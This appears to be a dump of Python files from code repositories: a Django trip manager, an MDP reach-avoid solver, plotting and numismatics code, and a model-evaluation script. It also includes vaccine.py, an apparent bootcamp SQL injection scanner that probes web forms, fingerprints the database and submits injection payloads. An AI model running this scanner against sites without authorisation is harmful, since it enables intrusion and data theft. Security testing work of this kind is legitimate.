filter=Q(seats__seat_status=Seat.AVAILABLE))\n occupied = Cast(\n Count(\"seats\", filter=~Q(seats__seat_status=Seat.AVAILABLE)), FloatField()\n )\n total = Cast(Count(\"seats\"), FloatField())\n\n occupancy = Case(\n When(total=0, then=0),\n default=Cast(100 * occupied / total, IntegerField()),\n )\n\n # Convert occupancy to % of nearest multiple of 5 for progress bars\n occupancy = 5 * Round(occupancy / 5)\n\n # Find revenue = price * occupied seats\n revenue = Cast(F(\"price\"), FloatField()) * occupied\n revenue = Cast(revenue, IntegerField())\n\n qs = self.active() if active else self.get_queryset()\n qs = qs.filter(company__slug=company_slug)\n qs = qs.annotate(availability=availability, occupied=occupied, total=total)\n qs = qs.annotate(occupancy=occupancy)\n qs = qs.annotate(revenue=revenue)\n qs = qs.order_by(\"departure\")\n qs = qs.select_related(\"company\", \"origin\", \"destination\")\n\n return qs\n\n def __repr__(self):\n return \"I only show trips from the future 🔮\"\n","repo_name":"gurupratap-matharu/falcon","sub_path":"trips/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":5801,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"3566670256","text":"# This module contains classes that extend the GridWorld based classes in\n# grid_world.py to approximations of continous spaces. \n\nimport numpy as np\nfrom mdp.grid_world import ReachAvoid, state_to_idx\nfrom sklearn.utils.extmath import cartesian\nimport matplotlib.pyplot as plt\nimport time\nfrom copy import deepcopy\n\nclass Dynamics(object):\n def __init__(self, x_dot, dims):\n self._x_dot = x_dot\n self._dims = dims\n \n def deriv(self, states, control):\n assert states.shape[1] == self._dims,\"State dimension is incompatible.\"\n \n return np.array([self._x_dot(state, control) for state in states])\n \n def integrate(self, states, control, t, steps=20):\n \"\"\"Intergrate ODE using Runge-Kutta 4 scheme.\"\"\"\n dt = t/steps\n run_t = t/steps\n n_states = deepcopy(states) # next states\n \t\n #return n_states + t * self.deriv(n_states, control)\n while run_t <= t:\n k_1 = self.deriv(n_states, control)\n k_2 = self.deriv(n_states + dt / 2 * k_1, control)\n k_3 = self.deriv(n_states + dt / 2 * k_2, control)\n k_4 = self.deriv(n_states + dt * k_3, control)\n n_states = n_states + dt / 6 * (k_1 + 2 * k_2 + 2 * k_3 + k_4)\n run_t += dt\n return n_states\n\n\ndef simple_dyn(x, u):\n return np.array(u * (1 - np.abs(x)))\n\ndef simple_dyn_2(x, u):\n return np.array([x[1], (1-x[0]**2) * x[1] - x[0] + u[0]])\n\nglobal dt\nglobal gamma\n\n\nclass ReachAvoidC(ReachAvoid):\n \"\"\"This class extends the ReachAvoid class to continuous state spaces.\"\"\"\n\n def __init__ (self, num_nodes, s_lims, num_nodes_a, a_lims=None, dynamics=None, reward=None):\n global dt\n global gamma \n lamb = 1.0 \n self.a_lims=a_lims\n my_dyn = Dynamics(dynamics, num_nodes.size)\n \n dims = len(num_nodes)\n s_min = s_lims[0, :]\n s_max = s_lims[1, :]\n a_min = a_lims[0, :]\n a_max = a_lims[1, :]\n ds = (s_max - s_min)/(num_nodes - 1)\n da = (a_max - a_min)/(num_nodes_a - 1)\n \n self._ds = ds\n self._s_min = s_min\n num_states = np.prod(num_nodes)\n num_actions = np.prod(num_nodes_a)\n\n deriv = np.zeros([num_actions, num_states, dims])\n p_trans = np.zeros([num_actions, num_states, num_states])\n\n\n # All states as grid indices\n state_axes = [np.arange(N_d) for N_d in num_nodes]\n all_states = cartesian(state_axes)\n \n action_axes = [np.arange(N_d) for N_d in num_nodes_a]\n all_actions = cartesian(action_axes)\n\n gamma = 0.99\n super().__init__(num_nodes, p_trans, reach=np.array([]),\n avoid=np.array([]), gamma=gamma, \n all_states=all_states, all_actions=all_actions)\n \n all_states_c = all_states * ds + s_min\n all_actions_c = all_actions * da + a_min\n\n # Hypercube defining interpolation region\n interp_axes = [np.array([0,1]) for d in range(dims)]\n interp_region = cartesian(interp_axes).astype(int)\n\n for act_idx, action_c in enumerate(all_actions_c):\n deriv[act_idx,:,:] = my_dyn.deriv(all_states_c, action_c)\n\n # State moves at most one grid cell in any dimension over one time\n # step.\n dt = (1.0 / np.amax(np.abs(deriv.reshape([-1,dims])) / ds)) * 0.001\n #dt = ds/2\n #dt = (1.0 / np.amax(np.sum(np.abs(deriv.reshape([-1,dims])) / ds, axis=1)))\n gamma =np.exp(-lamb * dt)\n self._gamma= gamma\n self.next_c = np.zeros([num_actions, num_states, dims])\n self.all_states_c=all_states_c\n print('dt = {}'.format(dt))\n for act_idx, action_c in enumerate(all_actions_c):\n next_c = my_dyn.integrate(all_states_c, action_c, dt)\n #next_c = np.minimum( np.maximum(next_c, s_min) , s_max)\n self.next_c[act_idx] = next_c\n temp = (next_c - s_min) / ds\n temp2 = (all_states_c - s_min) / ds\n\n # Lower grid idx of interpolating hypercube.\n grid_idx_min = np.floor(temp).astype(int)\n\n # Interp weight for the lower idx of each dimension \n alpha = 1 - (temp - grid_idx_min)\n\n sum_weight=0\n for shift in interp_region:\n interp_grid_idx = np.minimum(np.maximum(grid_idx_min + shift,\n 0), np.array(num_nodes) - 1)\n interp_weight = np.prod(alpha * (1 - shift) +\n (1 - alpha) * shift, axis=1)\n temp = list(state_to_idx(interp_grid_idx, np.array(num_nodes)))\n self._p_trans[act_idx, range(self._num_states), temp] +=\\\n interp_weight\n sum_weight += interp_weight\n self.l_lims = np.array([0, -3])\n self.u_lims = np.array([4, 3])\n \n self._reward[:,:] = -3 * (1 - np.abs(all_states_c)) *dt\n # self._reward[:,:] = (all_states[:,0]**2 + all_states[:,1]**2).reshape([num_states,-1]) * dt\n\n def visualize_policy(self, policy=None):\n \"\"\"Visualize the policy.\n \n Args:\n policy(1D np array): Policy to be visualized.\n Size is number of states.\n \"\"\"\n \n assert(self._dims==2),\\\n \"Can only visualize policies for 2D grids.\"\n\n plt.figure(figsize=(8, 8))\n # plt.axis([-0.5, self._num_nodes[0] - 0.5, -0.5,\n # self._num_nodes[1] - 0.5])\n plt.ion()\n \n # Symbols for each action\n act_symbol = {0:'o', 3:'$\\u2192$', 1:'$\\u2191$',\n 4:'$\\u2193$', 2:'$\\u2193$'}\n\n state_action = np.concatenate([self.all_states_c,\n policy.reshape([-1,1])], axis=1)\n \n temp = np.prod(self._num_nodes)**(1.0/len(self._num_nodes))\n ms = ((100.0 + 2)/(temp + 2)) * 2 # Marker size \n # plot \n for act in range(self._num_actions):\n select = state_action[state_action[:,2]==act]\n plt.plot(select[:, 0], select[:,1],'k', \n markersize=ms, marker=act_symbol[act],linestyle='None')\n\n # plot avoid\n if list(self._avoid) != []:\n plt.plot(self._avoid[:, 0], self._avoid[:,1],\n 'ro', markersize=ms*1.1)\n\n # plot reach\n if list(self._reach) != []:\n plt.plot(self._reach[:, 0], self._reach[:,1],\n 'go', markersize=ms*1.1)\n \n x = range(self._num_nodes[0]) * self._ds[0] +self._s_min[0] \n plt.title(\"Optimal Policy\", fontsize=20)\n plt.savefig('optimal_policy.png')\n plt.pause(40) # Plot will last three seconds\n\n def visualize_v_func(self, v_func = None, contours=None):\n \"\"\"Visualize contour plot of value function.\n\n Args:\n v_func(1D np array): Value function to be visualized.\n Size is number of states.\n \"\"\"\n\n assert(self._dims==2 or self._dims==1),\\\n \"Can only visualize value functions for 1D and 2D grids.\"\n\n plt.figure(figsize=(8, 8))\n if self._dims ==1:\n x = range(self._num_nodes[0]) * self._ds[0] + self._s_min[0] \n plt.plot(x, v_func)\n z = [-3/2*(x_e+1)*(x_e<0) - 3/2*(1-x_e)*(x_e>=0) for x_e in x]\n plt.plot(x,z,'r-.') \n else:\n if contours is None:\n x = range(self._num_nodes[0]) * self._ds[0] + self._s_min[0] \n y = range(self._num_nodes[1]) * self._ds[1] + self._s_min[1] \n plt.contour(x, y, v_func.reshape(self._num_nodes).T)\n else:\n plt.contour(x, y, v_func.reshape(self._num_nodes).T, contours)\n\n # plt.savefig('value_function.png')\n plt.pause(100) \n\n\n\nif __name__ == \"__main__\":\n\n # num_nodes = np.array([81])\n # s_lims = np.array([[-1],[1]])\n # num_nodes_a = np.array([2])\n # a_lims = np.array([[-1],[1]])\n # dynamics = simple_dyn \n # my_world = ReachAvoidC(num_nodes, s_lims, num_nodes_a, a_lims, dynamics)\n # v_opt, pi_opt = my_world.v_pi_opt(method='pi')\n\n\n num_nodes = np.array([81, 81])\n s_lims = np.array([[-2, -2],[2, 2]])\n num_nodes_a = np.array([2])\n a_lims = np.array([[-1],[1]])\n dynamics = simple_dyn_2 \n my_world = ReachAvoidC(num_nodes, s_lims, num_nodes_a, a_lims, dynamics)\n v_opt, pi_opt = my_world.v_pi_opt(method='pi')\n\n\n my_world.visualize_v_func(v_opt) \n\n\n\n\n\n","repo_name":"kakametalu/online_reachability","sub_path":"mdp/mdp/alla_ex_1.py","file_name":"alla_ex_1.py","file_ext":"py","file_size_in_byte":8537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40673697788","text":"\"\"\"\n================\nConfusion matrix\n================\n\nExample of confusion matrix usage to evaluate the quality\nof the output of a classifier on the iris data set. The\ndiagonal elements represent the number of points for which\nthe predicted label is equal to the true label, while\noff-diagonal elements are those that are mislabeled by the\nclassifier. The higher the diagonal values of the confusion\nmatrix the better, indicating many correct predictions.\n\nThe figures show the confusion matrix with and without\nnormalization by class support size (number of elements\nin each class). This kind of normalization can be\ninteresting in case of class imbalance to have a more\nvisual interpretation of which class is being misclassified.\n\nHere the results are not as good as they could be as our\nchoice for the regularization parameter C was not the best.\nIn real life applications this parameter is usually chosen\nusing :ref:`grid_search`.\n\n\"\"\"\n\nprint(__doc__)\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\nfont = {'family' : \"Times New Roman\",\n 'weight' : 'bold',\n 'size' : 12}\nmatplotlib.rc('font', **font)\n\nif __name__ == \"__main__\":\n\n cmap=plt.cm.Blues\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n # Compute confusion matrix\n cm1 = np.array([[0,345,401,225],[324,0,106,22],[405,101,0,62],[238,47,101,0]])\n cm2 = np.array([[0,40,65,24],[26,0,22,4],[42,12,0,8],[24,7,8,0]])\n\n\n fig, (ax1, ax2) = plt.subplots(1, 2, sharey=True)\n\n im = ax1.imshow(cm1, interpolation='nearest', cmap=cmap)\n # We want to show all ticks...\n ax1.set(xticks=np.arange(cm1.shape[1]),\n yticks=np.arange(cm1.shape[0]),\n # ... and label them with the respective list entries\n xticklabels=[\"Null\",\"A0\",\"A1\",\"A2\"], yticklabels=[\"Null\",\"A0\",\"A1\",\"A2\"],\n title=\"Baseline Confusion Matrix\",\n ylabel='True role',\n xlabel='Baseline predicted role')\n\n im2 = ax2.imshow(cm2, interpolation='nearest', cmap=cmap)\n\n\n ax2.set(xticks=np.arange(cm2.shape[1]),\n yticks=np.arange(cm2.shape[0]),\n # ... and label them with the respective list entries\n xticklabels=[\"Null\",\"A0\",\"A1\",\"A2\"], yticklabels=[\"Null\",\"A0\",\"A1\",\"A2\"],\n title=\"Error Correction Matrix\",\n ylabel='Corrected role',\n xlabel='Baseline predicated role')\n\n # Rotate the tick labels and set their alignment.\n # plt.setp(ax1.get_xticklabels(), rotation=45, ha=\"right\", rotation_mode=\"anchor\")\n\n # Loop over data dimensions and create text annotations.\n fmt = 'd'\n thresh = cm1.max() / 2.\n for i in range(cm1.shape[0]):\n for j in range(cm1.shape[1]):\n ax1.text(j, i, format(cm1[i, j], fmt),\n ha=\"center\", va=\"center\",\n color=\"white\" if cm1[i, j] > thresh else \"black\")\n\n # Loop over data dimensions and create text annotations.\n fmt = 'd'\n thresh = cm2.max() / 2.\n for i in range(cm2.shape[0]):\n for j in range(cm2.shape[1]):\n ax2.text(j, i, format(cm2[i, j], fmt),\n ha=\"center\", va=\"center\",\n color=\"white\" if cm2[i, j] > thresh else \"black\")\n fig.tight_layout()\n # fig.savefig(\"matrix.pdf\", bbox_inches='tight')\n\n\n np.set_printoptions(precision=2)\n\n\n\n plt.show()\n","repo_name":"ChunchuanLv/Iterative_Inference","sub_path":"myallennlp/dataset_readers/plot_confusion_matrix.py","file_name":"plot_confusion_matrix.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"30489433112","text":"from PyQt5 import QtCore\nfrom PyQt5.QtSql import QSqlQuery\n\nfrom OpenNumismat.Collection.CollectionFields import CollectionFields\nfrom OpenNumismat.Collection.ListPageParam import ListPageParam\nfrom OpenNumismat.Collection.TreeParam import TreeParam\n\n\nclass CollectionPageTypes:\n List = 0\n\n\nclass CollectionPageParam(QtCore.QObject):\n def __init__(self, record, parent=None):\n QtCore.QObject.__init__(self, parent)\n\n for name in ['id', 'title', 'isopen', 'type']:\n setattr(self, name, record.value(name))\n\n\nclass CollectionPages(QtCore.QObject):\n def __init__(self, db, parent=None):\n super(CollectionPages, self).__init__(parent)\n\n self.db = db\n sql = \"CREATE TABLE IF NOT EXISTS pages (\\\n id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\\\n title TEXT,\\\n isopen INTEGER,\\\n position INTEGER,\\\n type INTEGER)\"\n QSqlQuery(sql, self.db)\n\n self.fields = CollectionFields(self.db)\n self.params = None\n\n def pagesParam(self):\n if self.params is None:\n query = QSqlQuery(\"SELECT * FROM pages ORDER BY position\")\n self.params = self.__queryToParam(query)\n return self.params\n\n def addPage(self, title):\n query = QSqlQuery(self.db)\n query.prepare(\"INSERT INTO pages (title, isopen, type) \"\n \"VALUES (?, ?, ?)\")\n query.addBindValue(title)\n query.addBindValue(int(True))\n query.addBindValue(CollectionPageTypes.List)\n query.exec_()\n\n query = QSqlQuery(\"SELECT * FROM pages WHERE id=last_insert_rowid()\",\n self.db)\n return self.__queryToParam(query)[0] # get only one item\n\n def renamePage(self, page, title):\n query = QSqlQuery(self.db)\n query.prepare(\"UPDATE pages SET title=? WHERE id=?\")\n query.addBindValue(title)\n query.addBindValue(page.id)\n query.exec_()\n\n def closePage(self, page):\n query = QSqlQuery(self.db)\n query.prepare(\"UPDATE pages SET isopen=? WHERE id=?\")\n query.addBindValue(int(False))\n query.addBindValue(page.id)\n query.exec_()\n\n def openPage(self, page):\n query = QSqlQuery(self.db)\n query.prepare(\"UPDATE pages SET isopen=? WHERE id=?\")\n query.addBindValue(int(True))\n query.addBindValue(page.id)\n query.exec_()\n\n def removePage(self, page):\n page.listParam.remove()\n page.treeParam.remove()\n\n query = QSqlQuery(self.db)\n query.prepare(\"DELETE FROM pages WHERE id=?\")\n query.addBindValue(page.id)\n query.exec_()\n\n def savePositions(self, pages):\n for position, page in enumerate(pages):\n query = QSqlQuery(self.db)\n query.prepare(\"UPDATE pages SET position=? WHERE id=?\")\n query.addBindValue(position)\n query.addBindValue(page.id)\n query.exec_()\n\n def closedPages(self):\n query = QSqlQuery(self.db)\n query.prepare(\"SELECT * FROM pages WHERE isopen=? ORDER BY title\")\n query.addBindValue(int(False))\n query.exec_()\n return self.__queryToParam(query)\n\n def __queryToParam(self, query):\n pagesParam = []\n while query.next():\n param = CollectionPageParam(query.record())\n param.fields = self.fields\n param.db = self.db\n if param.type == CollectionPageTypes.List:\n param.listParam = ListPageParam(param)\n param.treeParam = TreeParam(param)\n pagesParam.append(param)\n\n return pagesParam\n","repo_name":"xavifc/open-numismat","sub_path":"OpenNumismat/Collection/CollectionPages.py","file_name":"CollectionPages.py","file_ext":"py","file_size_in_byte":3639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"33167505501","text":"#! /usr/bin/env python3\n\n\nclass QSearch:\n def __init__(self):\n pass\n\n class QUniversalSearch:\n def __init__(self):\n self.total_results = 0\n self.total_pages = 0\n self.page = 0\n self.items = []\n\n class QSetSearch:\n def __init__(self):\n self.total_results = 0\n self.total_pages = 0\n self.image_set_count = 0\n self.page = 0\n self.sets = []\n\n class QClassSearch:\n def __init__(self):\n self.total_results = 0\n self.total_pages = 0\n self.page = 0\n self.classes = []\n","repo_name":"spikespaz/archives","sub_path":"browse/spikespaz-old/quizlet-py/quizlet/qsearch.py","file_name":"qsearch.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"25291225847","text":"# **************************************************************************** #\n# #\n# ::: :::::::: #\n# vaccine.py :+: :+: :+: #\n# +:+ +:+ +:+ #\n# By: lguisado +#+ +:+ +#+ #\n# +#+#+#+#+#+ +#+ #\n# Created: 2023/05/29 22:10:18 by lguisado #+# #+# #\n# Updated: 2023/05/31 15:01:39 by lguisado ### ########.fr #\n# #\n# **************************************************************************** #\n\nimport argparse\nimport requests\nimport logging\nfrom pprint import pprint\nfrom payloads import payloads\nfrom urllib.parse import urljoin\nfrom bs4 import BeautifulSoup as bs\nfrom colorama import init, Fore, Style\n\n# initialize an HTTP session & set the browser\nlog = False\nrequest_type = \"no\"\ndatabase = 'Not found'\ndatabase_found = 'False'\nuseragent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36\"\ns = requests.Session()\ns.headers[\"User-Agent\"] = useragent\n\ninit()\n\ndef ft_parse_args():\n\tparser = argparse.ArgumentParser(description=\"Check if a website is vulnerable to SQL injection\")\n\tparser.add_argument(\"URL\", help=\"URL to test if vulnerable to SQL injection\")\n\tparser.add_argument(\"-o\", \"--output\", nargs=\"?\", default=0, help=\"Output file to save results\")\n\tparser.add_argument(\"-X\", \"--request\", nargs=\"?\", default=0, help=\"Specify request type GET or POST (default: GET\")\n\tparser.add_argument(\"-c\", \"--cookie\", type=str, help=\"Specify login cookie\")\n\tparser.add_argument(\"-u\", \"--user-agent\", type=str, nargs=\"?\", default=1, help=\"Specify user agent\")\n\targs = parser.parse_args()\n\treturn args\n\ndef ft_set_cookies(cookie):\n\tkey, val = cookie.split(\"=\")\n\tif log == True:\n\t\tlogging.info(\"Setting cookie: {}={}\".format(key, val))\n\telse:\n\t\tprint(\"Setting cookie: {}={}\".format(key, val))\n\ts.cookies.set(name=key, value=val)\n\ndef ft_get_all_forms(url):\n\t\"\"\"Given a `url`, it returns all forms from the HTML content\"\"\"\n\tres = s.get(url)\n\t# print(res.text)\n\tsoup = bs(res.content, \"html.parser\")\n\treturn soup.find_all(\"form\")\n\ndef ft_get_form_details(form):\n\t\"\"\"\n\tThis function extracts all possible useful information about an HTML `form`\n\t\"\"\"\n\tdetails = {}\n\t# get the form action (target url)\n\ttry:\n\t\taction = form.attrs.get(\"action\").lower()\n\texcept:\n\t\taction = None\n\tif request_type == \"no\":\n\t\t# get the form method (POST, GET, etc.)\n\t\tmethod = form.attrs.get(\"method\", \"get\").lower()\n\telse:\n\t\tmethod = request_type.lower()\n\t# get all the input details such as type and name\n\tinputs = []\n\tfor input_tag in form.find_all(\"input\"):\n\t\tinput_type = input_tag.attrs.get(\"type\", \"text\")\n\t\tinput_name = input_tag.attrs.get(\"name\")\n\t\tinput_value = input_tag.attrs.get(\"value\", \"\")\n\t\tinputs.append({\"type\": input_type, \"name\": input_name, \"value\": input_value})\n\t# put everything to the resulting dictionary\n\tdetails[\"action\"] = action\n\tdetails[\"method\"] = method\n\tdetails[\"inputs\"] = inputs\n\treturn details\n\ndef ft_check_vulnerable(response):\n\terrors = {\n\t\t# MySQL\n\t\t\"you have an error in your sql syntax;\",\n\t\t\"warning: mysql\",\n\t\t# SQL Server\n\t\t\"unclosed quotation mark after the character string\",\n\t\t# Oracle\n\t\t\"quoted string not properly terminated\",\n\t}\n\tfor error in errors:\n\t\t# if you find one of these errors, return True\n\t\tif error in response.content.decode().lower():\n\t\t\tif database_found == 'False':\n\t\t\t\tft_check_db(response)\n\t\t\treturn True\n\t# no error detected\n\treturn False\n\ndef ft_check_db(response):\n\tglobal database, database_found\n\tif \"mariadb\" in response.content.decode().lower():\n\t\tdatabase = \"MariaDB\"\n\telif \"mongodb\" in response.content.decode().lower():\n\t\tdatabase = \"MongoDB\"\n\telif \"mysql\" in response.content.decode().lower():\n\t\tdatabase = \"MySQL\"\n\telif \"oracle\" in response.content.decode().lower():\n\t\tdatabase = \"Oracle\"\n\telif \"postgresql\" in response.content.decode().lower():\n\t\tdatabase = \"PostgreSQL\"\n\telif \"sqlite\" in response.content.decode().lower():\n\t\tdatabase = \"SQLite\"\n\telif \"microsoft sql server\" in response.content.decode().lower():\n\t\tdatabase = \"SQL Server\"\n\telif \"db2\" in response.content.decode().lower():\n\t\tdatabase = \"DB2\"\n\telif \"firebird\" in response.content.decode().lower():\n\t\tdatabase = \"Firebird\"\n\telif \"sybase\" in response.content.decode().lower():\n\t\tdatabase = \"Sybase\"\n\telif \"informix\" in response.content.decode().lower():\n\t\tdatabase = \"Informix\"\n\tdatabase_found = \"True\"\n\tif log == True:\n\t\tlogging.info(\"[+] Database: {}\".format(database))\n\telse:\n\t\tprint(Fore.GREEN + Style.BRIGHT + \"[+] Database: {}\".format(database))\n\ndef ft_scan_sql_injection(url):\n\t# test on HTML forms\n\tforms = ft_get_all_forms(url)\n\tif log == True:\n\t\tlogging.info(\"[+] Testing URL: {}\".format(url))\n\t\tlogging.info(\"[+] Detected {} forms on {}.\".format(len(forms), url))\n\telse:\n\t\tprint(\"[+] Testing\", url)\n\t\tprint(Fore.YELLOW + Style.BRIGHT + \"[+] Detected {} forms on {}.\".format(len(forms), url))\n\t\tprint(Style.RESET_ALL, end=\"\")\n\tfor form in forms:\n\t\tform_details = ft_get_form_details(form)\n\t\tfor c in \"\\\"'\":\n\t\t\t# the data body we want to submit\n\t\t\tdata = {}\n\t\t\tkeys = []\n\t\t\tfor input_tag in form_details[\"inputs\"]:\n\t\t\t\tif input_tag[\"type\"] == \"hidden\" or input_tag[\"value\"]:\n\t\t\t\t\t# any input form that is hidden or has some value,\n\t\t\t\t\t# just use it in the form body\n\t\t\t\t\ttry:\n\t\t\t\t\t\tdata[input_tag[\"name\"]] = input_tag[\"value\"] + c\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\t\t\t\telif input_tag[\"type\"] != \"submit\":\n\t\t\t\t\tif input_tag[\"name\"] != \"user_token\":\n\t\t\t\t\t\tkeys.append(input_tag[\"name\"])\n\t\t\t\t\t# all others except submit, use some junk data with special character\n\t\t\t\t\tdata[input_tag[\"name\"]] = f\"test{c}\"\n\t\t\t# join the url with the action (form request URL)\n\t\t\turl = urljoin(url, form_details[\"action\"])\n\t\t\tif form_details[\"method\"] == \"post\":\n\t\t\t\tres = s.post(url, data=data)\n\t\t\telif form_details[\"method\"] == \"get\":\n\t\t\t\tres = s.get(url, params=data)\n\t\t\t# test whether the resulting page is vulnerable\n\t\t\tif ft_check_vulnerable(res):\n\t\t\t\tif log == True:\n\t\t\t\t\tlogging.info(\"[+] {} Might be vulnerable to SQL Injection\".format(url))\n\t\t\t\telse:\n\t\t\t\t\tprint(Fore.GREEN + Style.BRIGHT + \"[+] {} Might be vulnerable to SQL Injection\".format(url))\n\t\t\t\t\tprint(Style.RESET_ALL, end=\"\")\n\t\t\t\tfor k in keys:\n\t\t\t\t\tif log == True:\n\t\t\t\t\t\tlogging.info(\"\\t[+] Key: {}\".format(k))\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(\"\\t[+] Key: {}\".format(k))\n\t\t\t\t\tft_inject_sql(url, data, k, payloads, form_details[\"method\"].upper())\n\t\t\telse:\n\t\t\t\tif log == True:\n\t\t\t\t\tlogging.error(\"[-] SQL Injection vulnerability not detected\")\n\t\t\t\telse:\n\t\t\t\t\tprint(Fore.RED + Style.BRIGHT + \"[-] SQL Injection vulnerability not detected\")\n\t\t\t\t\tprint(Style.RESET_ALL, end=\"\")\n\ndef ft_inject_sql(url, data, key, payloads, method):\n\tfor p_type in payloads:\n\t\tfor i in payloads[p_type]:\n\t\t\tdata[key] = i\n\t\t\tif method == \"POST\":\n\t\t\t\tres = s.post(url, data=data)\n\t\t\telif method == \"GET\":\n\t\t\t\tres = s.get(url, params=data)\n\t\t\tif not ft_check_vulnerable(res):\n\t\t\t\tsoup = bs(res.content, \"html.parser\")\n\t\t\t\tif soup.find_all(\"pre\") == []:\n\t\t\t\t\tcontinue\n\t\t\t\tif log == True:\n\t\t\t\t\tlogging.info(\"\\t\\t[-] SQL Injection vulnerability detected, type: {}\".format(p_type))\n\t\t\t\t\tlogging.info(\"\\t\\t[-] Payload: {}\".format(i))\n\t\t\t\t\tlogging.info(soup.find_all(\"pre\"))\n\t\t\t\telse:\n\t\t\t\t\tprint(Fore.GREEN + Style.BRIGHT + \"\\t\\t[-] SQL Injection vulnerability detected, type: {}\".format(p_type))\n\t\t\t\t\tprint(Fore.GREEN + Style.BRIGHT + \"\\t\\t[-] Payload: {}\".format(i))\n\t\t\t\t\tprint(Style.RESET_ALL, end=\"\")\n\t\t\t\t\tpprint(soup.find_all(\"pre\"))\n\t\t\t\tbreak;\n\ndef ft_start_logs(output):\n\tglobal log\n\tlog = True\n\tlogging.basicConfig(\n\t\tlevel=logging.INFO, # Set the logging level (DEBUG, INFO, WARNING, ERROR, CRITICAL)\n\t\tformat='%(asctime)s - %(levelname)s - %(message)s', # Set the log message format\n\t\tdatefmt='%Y-%m-%d %H:%M:%S', # Set the date/time format\n\t\tfilename=output, # Specify the log file\n\t\tfilemode='w' # Set the log file mode (w: write, a: append)\n\t)\n\ndef main():\n\tglobal request_type, s\n\targs = ft_parse_args()\n\tif args.output is None:\n\t\targs.output = \"vaccine.log\"\n\tif args.output:\n\t\tft_start_logs(args.output)\n\tif args.cookie:\n\t\tft_set_cookies(args.cookie)\n\tif args.request is None:\n\t\targs.request = \"GET\"\n\tif args.request:\n\t\tif args.request.upper() == \"GET\" or args.request.upper() == \"POST\":\n\t\t\trequest_type = args.request.upper()\n\t\telse:\n\t\t\tif log == True:\n\t\t\t\tlogging.error(\"Wrong request type, only GET or POST are allowed\")\n\t\t\telse:\n\t\t\t\tprint(Fore.RED + Style.BRIGHT + \"Wrong request type, only GET or POST are allowed\")\n\t\t\texit()\n\tif args.user_agent is None:\n\t\tif log == True:\n\t\t\tlogging.warning(\"No user agent provided, using default\")\n\t\telse:\n\t\t\tprint(Fore.YELLOW + Style.BRIGHT + \"No user agent provided, using default\")\n\t\t\tprint(Style.RESET_ALL, end=\"\")\n\telif args.user_agent != 1:\n\t\tuseragent = args.user_agent\n\t\ts.headers[\"User-Agent\"] = useragent\n\t\tif log == True:\n\t\t\tlogging.info(\"User agent set to: {}\".format(useragent))\n\t\telse:\n\t\t\tprint(Fore.YELLOW + Style.BRIGHT + \"User agent set to: {}\".format(useragent))\n\t\t\tprint(Style.RESET_ALL, end=\"\")\n\tif args.URL:\n\t\tif log == True:\n\t\t\tlogging.info(\"URL: \" + args.URL)\n\t\telse:\n\t\t\tprint(\"URL: \" + args.URL)\n\t\tft_scan_sql_injection(args.URL)\n\telse:\n\t\tif log == True:\n\t\t\tlogging.error(\"No URL provided\")\n\t\telse:\n\t\t\tprint(\"No URL provided\")\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"Luisgb98/cybersec-bootcamp","sub_path":"vaccine/vaccine.py","file_name":"vaccine.py","file_ext":"py","file_size_in_byte":9632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"25516941136","text":"import numpy as np\nimport gc\nimport sys\n\nimport tensorflow as tf\nfrom tensorflow.keras import models\n\n# filename = sys.argv[1]\n\n# model = models.load_model(filename)\n# model.summary()\n\n# test_x, test_y = np.load(\"npy_files/20M_neural_input/15.npy\"), np.load(\"npy_files/20M_neural_output/15.npy\")\n\n# BATCH_SIZE = 20000\n\n# def test_generator():\n# for i in range(0, len(test_y), BATCH_SIZE):\n# yield test_x[i:i+BATCH_SIZE], tf.keras.utils.to_categorical(test_y[i:i+BATCH_SIZE], num_classes=4096)\n\n# loss, accuracy = model.evaluate(test_generator(), batch_size=BATCH_SIZE, verbose=True, steps=len(test_y)//BATCH_SIZE)\n\n# print(f\"Accuracy: {accuracy * 100.0:.2f}%\")\n\ndef data_generator(stage, count):\n path = {\n \"openings\": \"15M_openings_neural\",\n \"middlegame\": \"15M_middlegame_neural\",\n \"endgame\": \"15M_endgame_neural\",\n \"default\": \"20M_neural\",\n }[stage]\n test_x, test_y = np.load(f\"npy_files/{path}_input/{count}.npy\", mmap_mode=\"r\"), np.load(f\"npy_files/{path}_output/{count}.npy\", mmap_mode=\"r\")\n BATCH = 1024\n for i in range(0, len(test_x), BATCH):\n yield test_x[i:i+BATCH], tf.keras.utils.to_categorical(test_y[i:i+BATCH], num_classes=4096)\n if i % (BATCH * 16) == 0:\n gc.collect()\n gc.collect()\n\n\ndef load_model(stage):\n path = {\n \"openings\": \"15Mopenings-512neurons-4layers\",\n \"middlegame\": \"14Mmiddlegame-512neurons-4layers\",\n \"endgame\": \"15Mendgame-512neurons-4layers\",\n \"default\": \"mates-20Mtrain-512-4layers-2\",\n }[stage]\n model = models.load_model(f\"models/{path}.h5\")\n return model\n\n\naccuracies = {}\n\nfor count in range(2, 16, 4):\n print(f\"Testing on {count} data\", file=sys.stderr)\n for data in [\"openings\", \"middlegame\", \"endgame\", \"default\"]:\n for model in [\"openings\", \"middlegame\", \"endgame\", \"default\"]:\n print(f\"Testing {model} on {data} data\", file=sys.stderr)\n # Calculate the accuracy of the model on the test data\n loss, accuracy = load_model(model).evaluate(data_generator(data, count), verbose=True)\n accuracies[count, model, data] = accuracy\n\n print(f\"\\tAccuracy: {accuracy * 100.0:.2f}%\", file=sys.stderr)\n\n gc.collect()\n\nprint(\"\\n\\n=== Results ===\", 